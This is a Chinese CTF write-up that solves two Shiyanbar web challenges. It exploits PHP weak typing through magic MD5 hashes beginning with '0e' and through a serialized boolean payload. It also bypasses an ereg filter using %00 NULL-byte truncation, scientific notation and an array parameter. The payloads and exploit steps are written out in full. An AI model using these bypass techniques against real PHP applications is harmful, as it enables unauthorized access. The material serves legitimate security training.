实验吧--天网管理系统
考察点:md5特性、反序列化漏洞,php布尔弱类型
查看源码,发现
表示username的md5值==0,这里利用了md5的一个漏洞,凡是0e开头的字符串会被解释为0,百度一下即可
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
得到新链接/user.php?fame=hjkleffifer
这是一个反序列化问题,根据提示,可能跟布尔值有关,
bool的true和任意字符串弱类型相等
所以构造的user(bool)和password(bool)的值为true即可。
1 <?php 2 $payload = array(‘user‘=>true,‘pass‘ => true); 3 echo serialize($payload); 4 ?>
得到结果:
a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
将其作为password,即可得到flag
实验吧--Once More
发现代码:
<?php if (isset ($_GET[‘password‘])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET[‘password‘]) === FALSE) { echo ‘<p>You password must be alphanumeric</p>‘; } else if (strlen($_GET[‘password‘]) < 8 && $_GET[‘password‘] > 9999999) { if (strpos ($_GET[‘password‘], ‘*-*‘) !== FALSE) { die(‘Flag: ‘ . $flag); } else { echo(‘<p>*-* have not been found</p>‘); } } else { echo ‘<p>Invalid password</p>‘; } } ?>
查看代码发现,首先ereg判断password的值是不是数字或字母,继续strlen()限制了长度小于8并且大小必须大于9999999,继续strpos()对password进行匹配,必须含有*-*,最终才输出flag
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配。对于另一个难题可以使用科学计数法表示,计算器或电脑表达10的的幂是一般是e,也就是1.99714e13=19971400000000,所以构造1e8即100000000 > 9999999,再加上*-*。于是乎构造password=1e8%00*-*,成功得到答案
方法二:直接将url改为http://ctf5.shiyanbar.com/web/more.php?password[]
因为在这里如果 $_GET[‘password’]为数组,则返回值为NULL ,而在严格比较下,null不等于false
附:php类型比较表 http://php.net/manual/zh/types.comparisons.php
php函数漏洞集合 https://blog.csdn.net/qq_35078631/article/details/75200157
原文:https://www.cnblogs.com/iamgroot/p/9519219.html